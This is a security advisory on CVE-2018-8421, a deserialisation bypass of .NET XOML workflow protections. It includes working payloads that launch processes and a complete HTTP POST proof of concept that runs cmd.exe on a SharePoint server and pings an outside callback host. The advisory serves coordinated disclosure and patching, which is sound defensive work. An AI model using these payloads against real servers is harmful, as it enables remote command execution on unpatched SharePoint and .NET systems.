Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data

Vendor: Microsoft
Vendor URL: https://www.microsoft.com/
Versions affected: .NET Framework before September 2018 patch
Systems Affected: .NET Framework Workflow library
Author: Soroush Dalili (@irsdl)
Advisory URL / CVE Identifier: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8421
Risk: Critical

Summary

In the .NET Framework, workflows can be created by compiling an XOML file using the libraries within the System.Workflow namespace. The workflow compiler can use the /nocode and /checktypes arguments to stop execution of untrusted code. The /nocode is used to disallow the code-behind model that checked the workflows on the server-side to ensure they do not contain any code. The second argument is used to only allow whitelisted types from the configuration file.

All these protection mechanisms could be bypassed by exploiting a deserialisation issue similar to CVE-2018-8284 that was reported previously (https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/).

Location

The Microsoft (R) Windows Workflow Compiler tool was used as a proof of concept to compile the following XOML files in order to execute code or commands. This tool was used with /nocode /checktypes in order to show that code could still be executed:

wfc test.xoml /nocode:+ /checktypes:+

Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time on finding a way to load arbitrary namespaces.

Impact

Low privileged SharePoint users by default have access to their personal sites and can create workflows for themselves. Therefore, authenticated users of SharePoint could potentially execute commands on the server similar to https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/.

Other applications that compile XOML files are also susceptible to code execution.

Details

In order to provide examples to exploit this vulnerability, a number of gadgets were used based on the whitepaper written by Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th JSON Attacks (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf).

Example 1 – using ObjectDataProvider

The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: System.Diagnostics.Process.Start()) without passing any parameters:

<SequentialWorkflowActivity x_Class="." x_Name="Workflow2" xmlns_x="http://schemas.microsoft.com/winfx/2006/xaml"
>
<Rd:ResourceDictionary
xmlns_x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns_System="clr-namespace:System;assembly=mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns_Diag="clr-namespace:System.Diagnostics;assembly=System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns_Rd="clr-namespace:System.Windows;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns_ODP="clr-
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider x_Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"
MethodName="Start">
</ODP:ObjectDataProvider>
</Rd:ResourceDictionary>
</SequentialWorkflowActivity>

By compiling the above file or by sending it to a SharePoint server, the following error message was received showing the code was executed:

Cannot start process because a file name has not been provided

Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.

Example 2 – using WorkflowDesigner

The following XOML file could execute a command to open calculator during compile time:

When the class name was invalid, the code was executed twice despite having an error:

<SequentialWorkflowActivity x_Class="INVALID!" x_Name="foobar"
xmlns_x="http://schemas.microsoft.com/winfx/2006/xaml"
>
<sap:WorkflowDesigner
PropertyInspectorFontAndColorData=" lt;ResourceDictionary xmlns= quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation quot; xmlns_x= quot;http://schemas.microsoft.com/winfx/2006/xaml quot; xmlns_System= quot;clr-namespace:System;assembly=mscorlib quot; xmlns_Diag= quot;clr-namespace:System.Diagnostics;assembly=system quot; gt; lt;ObjectDataProvider x_Key= quot;LaunchCmd quot; ObjectType= quot;{x:Type Diag:Process} quot; MethodName= quot;Start quot; gt; lt;ObjectDataProvider.MethodParameters gt; lt;System:String gt;cmd lt;/System:String gt; lt;System:String gt;/c calc lt;/System:String gt; lt;/ObjectDataProvider.MethodParameters gt; lt;/ObjectDataProvider gt; lt;/ResourceDictionary gt;"
xmlns_sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"

>
</sap:WorkflowDesigner>
</SequentialWorkflowActivity>

When the class name was valid, the code was executed once but with an error:

<SequentialWorkflowActivity x_Class="MyWorkflow" x_Name="foobar"
xmlns_x="http://schemas.microsoft.com/winfx/2006/xaml"
>
<sap:WorkflowDesigner
PropertyInspectorFontAndColorData=" lt;ResourceDictionary xmlns= quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation quot; xmlns_x= quot;http://schemas.microsoft.com/winfx/2006/xaml quot; xmlns_System= quot;clr-namespace:System;assembly=mscorlib quot; xmlns_Diag= quot;clr-namespace:System.Diagnostics;assembly=system quot; gt; lt;ObjectDataProvider x_Key= quot;LaunchCmd quot; ObjectType= quot;{x:Type Diag:Process} quot; MethodName= quot;Start quot; gt; lt;ObjectDataProvider.MethodParameters gt; lt;System:String gt;cmd lt;/System:String gt; lt;System:String gt;/c calc lt;/System:String gt; lt;/ObjectDataProvider.MethodParameters gt; lt;/ObjectDataProvider gt; lt;/ResourceDictionary gt;"
xmlns_sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
>
</sap:WorkflowDesigner>
</SequentialWorkflowActivity>

Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with /nocode /checktypes flags), it showed the following error message when tested in SharePoint:

The type or namespace name 'Presentation' does not exist in the namespace 'System.Activities' (are you missing an assembly reference?) 

Example 3 – using AssemblyInstaller:

The following example shows another deserialisation gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies.

<SequentialWorkflowActivity x_Class="MyWorkflow" x_Name="foobarx"
xmlns_x="http://schemas.microsoft.com/winfx/2006/xaml"
>
<sci:AssemblyInstaller Path="c:pathSource.dll" xmlns_sci="clr-namespace:System.Configuration.Install;assembly=System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
</sci:AssemblyInstaller>
</SequentialWorkflowActivity>

The above payload did not work in SharePoint as it could not find the namespace.

Recommendation

Apply the September 2018 Microsoft patch.

Vendor Communication

17/05/2018 Reported to Microsoft

17/05/2018 Case number assigned by Microsoft

11/09/2018 Patch was released

13/09/2018 Microsoft was contacted to check whether the reporter could publish the details
24/09/2018 Microsoft asked for more time before releasing the details to fix some crashes caused by the fix

02/11/2018 Permission granted from Microsoft to publish the details

Update (11/11/2018)

After releasing the initial potential code execution PoC on SharePoint, Soroush recevied a tip from Alvaro on Twitter to also try ProcessStartInfo and ObjectInstance. This method worked successfully after creating an appropriate XAML and including the required namespaces.

It is therefore now possible to execute code and commands on an unpatched server which increases risk of this issue from high to critical. Note that the .NET Framework needs updating rather than SharePoint in order to patch this issue similar to CVE-2018-8284.

The following HTTP POST request shows a PoC that could execute code on SharePoint:

POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: TargetHost
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSuppor
tObjects

Content-Type: text/xml; charset=utf-8
Content-Length: 1709
Cookie: [valid cookies or authorization header instead - fixed by burp]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns_xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body<ValidateWorkflo
wMarkupAndCreateSupportObjects
><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x_Class="." x_Name="Workflow2"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
<Rd:ResourceDictionary xmlns_System="clr-namespace:System;assembly=mscorlib,
Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns_Diag="clr-
namespace:System.Diagnostics;assembly=System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns_Rd="clr-
namespace:System.Windows;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35">
<ODP:ObjectDataProvider x_Key="LaunchCmd" MethodName="Start">
<ObjectDataProvider.ObjectInstance><Diag:Process><Diag:Process.StartInfo><Diag:Pro
cessStartInfo FileName="cmd.exe" Arguments="/c ping
foobar.gyi5bjohiab9obycusymb22tkkqaez.burpcollaborator.net"></Diag:ProcessStartInf
o></Diag:Process.StartInfo></Diag:Process>
</ObjectDataProvider.ObjectInstance>
</ODP:ObjectDataProvider>
</Rd:ResourceDictionary>
</SequentialWorkflowActivity>
]]></workflowMarkupText>
<rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMa
rkupAndCreateSupportObjects></soap:Body></soap:Envelope>

If a path was not accessible, the server returned System.IO.FileNotFoundException, and when access was not sufficient to create, change or validate a workflow, the server responded with the System.NullReferenceException: Object reference not set to an instance of an object error message. Normally authenticated users should be able to create workflows in their spaces. The personal site can normally be found by going to the /my path and that should redirect users to their personal site (if it exists) then the payload can be sent to:

/my/personal/[SomeName]/[SomeSiteName]/_vti_bin/webpartpages.asmx

or

/my/personal/[yourUsername]/_vti_bin/webpartpages.asmx

If users have control over any other sites in SharePoint to create workflows, those paths can be used also.

The following GIF video file shows this issue in practice, exploited to obtain a reverse shell where the permissions were sufficient:

About NCC Group

NCC Group is a global expert in cyber security and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionising the way in which organisations think about cyber security.

Written by: Soroush Dalili

Call us before you need us.

Our experts will help you.

Get in touch